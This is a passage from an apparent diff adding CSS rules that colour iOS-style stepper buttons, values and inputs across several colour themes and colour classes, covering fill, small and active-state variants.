.stepper-button-minus, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ff9500; +} +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff9500; + border-color: #ff9500; + background-color: transparent; +} +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff9500; +} +.ios .color-theme-gray .stepper .stepper-button, +.ios .color-theme-gray .stepper .stepper-button-minus, +.ios .color-theme-gray .stepper .stepper-button-plus { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-button.active-state, +.ios .color-theme-gray .stepper .stepper-button-minus.active-state, +.ios .color-theme-gray .stepper .stepper-button-plus.active-state { + background-color: rgba(142, 142, 147, 0.15); +} +.ios .color-theme-gray .stepper .stepper-button-plus:after, +.ios .color-theme-gray .stepper .stepper-button-minus:after, +.ios .color-theme-gray .stepper .stepper-button-plus:before, +.ios .color-theme-gray .stepper .stepper-button-minus:before { + background-color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-value, +.ios .color-theme-gray .stepper .stepper-input-wrap { + border-top-color: #8e8e93; + border-bottom-color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-value { + color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-input-wrap input { + color: #8e8e93; +} +.ios .color-theme-gray .stepper.stepper-fill .stepper-button, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #8e8e93; +} +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #8e8e93; + border-color: #8e8e93; + background-color: transparent; +} +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #8e8e93; +} +.ios .color-theme-white .stepper .stepper-button, +.ios .color-theme-white .stepper .stepper-button-minus, +.ios .color-theme-white .stepper .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-button.active-state, +.ios .color-theme-white .stepper .stepper-button-minus.active-state, +.ios .color-theme-white .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 255, 255, 0.15); +} +.ios .color-theme-white .stepper .stepper-button-plus:after, +.ios .color-theme-white .stepper .stepper-button-minus:after, +.ios .color-theme-white .stepper .stepper-button-plus:before, +.ios .color-theme-white .stepper .stepper-button-minus:before { + background-color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-value, +.ios .color-theme-white .stepper .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-value { + color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-input-wrap input { + color: #ffffff; +} +.ios .color-theme-white .stepper.stepper-fill .stepper-button, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ffffff; +} +.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffffff; + border-color: #ffffff; + background-color: transparent; +} +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffffff; +} +.ios .color-theme-black .stepper .stepper-button, +.ios .color-theme-black .stepper .stepper-button-minus, +.ios .color-theme-black .stepper .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.ios .color-theme-black .stepper .stepper-button.active-state, +.ios .color-theme-black .stepper .stepper-button-minus.active-state, +.ios .color-theme-black .stepper .stepper-button-plus.active-state { + background-color: rgba(0, 0, 0, 0.15); +} +.ios .color-theme-black .stepper .stepper-button-plus:after, +.ios .color-theme-black .stepper .stepper-button-minus:after, +.ios .color-theme-black .stepper .stepper-button-plus:before, +.ios .color-theme-black .stepper .stepper-button-minus:before { + background-color: #000000; +} +.ios .color-theme-black .stepper .stepper-value, +.ios .color-theme-black .stepper .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.ios .color-theme-black .stepper .stepper-value { + color: #000000; +} +.ios .color-theme-black .stepper .stepper-input-wrap input { + color: #000000; +} +.ios .color-theme-black .stepper.stepper-fill .stepper-button, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #000000; +} +.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #000000; + border-color: #000000; + background-color: transparent; +} +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #000000; +} +.ios .stepper.color-red .stepper-button, +.ios .stepper.color-red .stepper-button-minus, +.ios .stepper.color-red .stepper-button-plus { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .stepper.color-red .stepper-button.active-state, +.ios .stepper.color-red .stepper-button-minus.active-state, +.ios .stepper.color-red .stepper-button-plus.active-state { + background-color: rgba(255, 59, 48, 0.15); +} +.ios .stepper.color-red .stepper-button-plus:after, +.ios .stepper.color-red .stepper-button-minus:after, +.ios .stepper.color-red .stepper-button-plus:before, +.ios .stepper.color-red .stepper-button-minus:before { + background-color: #ff3b30; +} +.ios .stepper.color-red .stepper-value, +.ios .stepper.color-red .stepper-input-wrap { + border-top-color: #ff3b30; + border-bottom-color: #ff3b30; +} +.ios .stepper.color-red .stepper-value { + color: #ff3b30; +} +.ios .stepper.color-red .stepper-input-wrap input { + color: #ff3b30; +} +.ios .stepper.color-red.stepper-fill .stepper-button, +.ios .stepper.color-red.stepper-fill-ios .stepper-button, +.ios .stepper.color-red.stepper-fill .stepper-button-minus, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-red.stepper-fill .stepper-button-plus, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus { + background-color: #ff3b30; +} +.ios .stepper.color-red.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-red.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-red.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-red.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff3b30; + border-color: #ff3b30; + background-color: transparent; +} +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff3b30; +} +.ios .stepper.color-green .stepper-button, +.ios .stepper.color-green .stepper-button-minus, +.ios .stepper.color-green .stepper-button-plus { + border-color: #4cd964; + color: #4cd964; +} +.ios .stepper.color-green .stepper-button.active-state, +.ios .stepper.color-green .stepper-button-minus.active-state, +.ios .stepper.color-green .stepper-button-plus.active-state { + background-color: rgba(76, 217, 100, 0.15); +} +.ios .stepper.color-green .stepper-button-plus:after, +.ios .stepper.color-green .stepper-button-minus:after, +.ios .stepper.color-green .stepper-button-plus:before, +.ios .stepper.color-green .stepper-button-minus:before { + background-color: #4cd964; +} +.ios .stepper.color-green .stepper-value, +.ios .stepper.color-green .stepper-input-wrap { + border-top-color: #4cd964; + border-bottom-color: #4cd964; +} +.ios .stepper.color-green .stepper-value { + color: #4cd964; +} +.ios .stepper.color-green .stepper-input-wrap input { + color: #4cd964; +} +.ios .stepper.color-green.stepper-fill .stepper-button, +.ios .stepper.color-green.stepper-fill-ios .stepper-button, +.ios .stepper.color-green.stepper-fill .stepper-button-minus, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-green.stepper-fill .stepper-button-plus, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus { + background-color: #4cd964; +} +.ios .stepper.color-green.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-green.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-green.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-green.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #4cd964; + border-color: #4cd964; + background-color: transparent; +} +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #4cd964; +} +.ios .stepper.color-blue .stepper-button, +.ios .stepper.color-blue .stepper-button-minus, +.ios .stepper.color-blue .stepper-button-plus { + border-color: #007aff; + color: #007aff; +} +.ios .stepper.color-blue .stepper-button.active-state, +.ios .stepper.color-blue .stepper-button-minus.active-state, +.ios .stepper.color-blue .stepper-button-plus.active-state { + background-color: rgba(0, 122, 255, 0.15); +} +.ios .stepper.color-blue .stepper-button-plus:after, +.ios .stepper.color-blue .stepper-button-minus:after, +.ios .stepper.color-blue .stepper-button-plus:before, +.ios .stepper.color-blue .stepper-button-minus:before { + background-color: #007aff; +} +.ios .stepper.color-blue .stepper-value, +.ios .stepper.color-blue .stepper-input-wrap { + border-top-color: #007aff; + border-bottom-color: #007aff; +} +.ios .stepper.color-blue .stepper-value { + color: #007aff; +} +.ios .stepper.color-blue .stepper-input-wrap input { + color: #007aff; +} +.ios .stepper.color-blue.stepper-fill .stepper-button, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button, +.ios .stepper.color-blue.stepper-fill .stepper-button-minus, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-blue.stepper-fill .stepper-button-plus, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus { + background-color: #007aff; +} +.ios .stepper.color-blue.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-blue.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-blue.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-blue.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #007aff; + border-color: #007aff; + background-color: transparent; +} +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #007aff; +} +.ios .stepper.color-pink .stepper-button, +.ios .stepper.color-pink .stepper-button-minus, +.ios .stepper.color-pink .stepper-button-plus { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .stepper.color-pink .stepper-button.active-state, +.ios .stepper.color-pink .stepper-button-minus.active-state, +.ios .stepper.color-pink .stepper-button-plus.active-state { + background-color: rgba(255, 45, 85, 0.15); +} +.ios .stepper.color-pink .stepper-button-plus:after, +.ios .stepper.color-pink .stepper-button-minus:after, +.ios .stepper.color-pink .stepper-button-plus:before, +.ios .stepper.color-pink .stepper-button-minus:before { + background-color: #ff2d55; +} +.ios .stepper.color-pink .stepper-value, +.ios .stepper.color-pink .stepper-input-wrap { + border-top-color: #ff2d55; + border-bottom-color: #ff2d55; +} +.ios .stepper.color-pink .stepper-value { + color: #ff2d55; +} +.ios .stepper.color-pink .stepper-input-wrap input { + color: #ff2d55; +} +.ios .stepper.color-pink.stepper-fill .stepper-button, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button, +.ios .stepper.color-pink.stepper-fill .stepper-button-minus, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-pink.stepper-fill .stepper-button-plus, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus { + background-color: #ff2d55; +} +.ios .stepper.color-pink.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-pink.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-pink.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-pink.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff2d55; + border-color: #ff2d55; + background-color: transparent; +} +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff2d55; +} +.ios .stepper.color-yellow .stepper-button, +.ios .stepper.color-yellow .stepper-button-minus, +.ios .stepper.color-yellow .stepper-button-plus { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-button.active-state, +.ios .stepper.color-yellow .stepper-button-minus.active-state, +.ios .stepper.color-yellow .stepper-button-plus.active-state { + background-color: rgba(255, 204, 0, 0.15); +} +.ios .stepper.color-yellow .stepper-button-plus:after, +.ios .stepper.color-yellow .stepper-button-minus:after, +.ios .stepper.color-yellow .stepper-button-plus:before, +.ios .stepper.color-yellow .stepper-button-minus:before { + background-color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-value, +.ios .stepper.color-yellow .stepper-input-wrap { + border-top-color: #ffcc00; + border-bottom-color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-value { + color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-input-wrap input { + color: #ffcc00; +} +.ios .stepper.color-yellow.stepper-fill .stepper-button, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button, +.ios .stepper.color-yellow.stepper-fill .stepper-button-minus, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-yellow.stepper-fill .stepper-button-plus, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus { + background-color: #ffcc00; +} +.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffcc00; + border-color: #ffcc00; + background-color: transparent; +} +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffcc00; +} +.ios .stepper.color-orange .stepper-button, +.ios .stepper.color-orange .stepper-button-minus, +.ios .stepper.color-orange .stepper-button-plus { + border-color: #ff9500; + color: #ff9500; +} +.ios .stepper.color-orange .stepper-button.active-state, +.ios .stepper.color-orange .stepper-button-minus.active-state, +.ios .stepper.color-orange .stepper-button-plus.active-state { + background-color: rgba(255, 149, 0, 0.15); +} +.ios .stepper.color-orange .stepper-button-plus:after, +.ios .stepper.color-orange .stepper-button-minus:after, +.ios .stepper.color-orange .stepper-button-plus:before, +.ios .stepper.color-orange .stepper-button-minus:before { + background-color: #ff9500; +} +.ios .stepper.color-orange .stepper-value, +.ios .stepper.color-orange .stepper-input-wrap { + border-top-color: #ff9500; + border-bottom-color: #ff9500; +} +.ios .stepper.color-orange .stepper-value { + color: #ff9500; +} +.ios .stepper.color-orange .stepper-input-wrap input { + color: #ff9500; +} +.ios .stepper.color-orange.stepper-fill .stepper-button, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button, +.ios .stepper.color-orange.stepper-fill .stepper-button-minus, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-orange.stepper-fill .stepper-button-plus, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus { + background-color: #ff9500; +} +.ios .stepper.color-orange.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-orange.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-orange.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-orange.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff9500; + border-color: #ff9500; + background-color: transparent; +} 